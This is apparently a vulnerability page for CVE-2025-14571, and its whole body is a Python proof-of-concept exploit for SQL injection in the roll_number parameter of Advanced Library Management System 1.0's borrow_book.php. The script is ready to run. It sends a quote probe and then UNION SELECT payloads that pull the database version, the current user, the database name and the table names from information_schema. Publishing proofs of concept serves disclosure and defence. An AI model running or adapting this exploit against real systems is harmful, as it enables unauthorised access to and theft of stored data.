CVE-2025-14571 | Advanced Library Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14571 SQL Injection PoC # Target: Advanced Library Management System 1.0 # File: /borrow_book.php # Parameter: roll_number def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in borrow_book.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ endpoint = f"{target_url}/borrow_book.php" data = { "roll_number": payload, "submit": "Borrow" } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.RequestException as e: return f"Error: {str(e)}" def test_basic_injection(target_url): """Test basic SQL injection with single quote""" payload = "'" print(f"[*] Testing basic injection with payload: {payload}") response = exploit_sql_injection(target_url, payload) if "error" in response.lower() or "sql" in response.lower(): print("[+] Potential SQL injection detected!") return response def extract_database_version(target_url): """Extract database version using UNION-based injection""" payload = "' UNION SELECT NULL,version(),NULL,NULL-- -" print(f"[*] Extracting database version...") return exploit_sql_injection(target_url, payload) def extract_current_user(target_url): """Extract current database user""" payload = "' UNION SELECT NULL,user(),NULL,NULL-- -" print(f"[*] Extracting current database user...") return exploit_sql_injection(target_url, payload) def extract_database_name(target_url): """Extract current database name""" payload = "' UNION SELECT NULL,database(),NULL,NULL-- -" print(f"[*] Extracting database name...") return exploit_sql_injection(target_url, payload) def extract_tables(target_url): """Extract table names from database""" payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Extracting table names...") return exploit_sql_injection(target_url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/lms") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-14571 SQL Injection\n") # Run exploitation steps test_basic_injection(target) extract_database_version(target) extract_current_user(target) extract_database_name(target) extract_tables(target) print("\n[!] PoC completed. Review responses above for data extraction results.")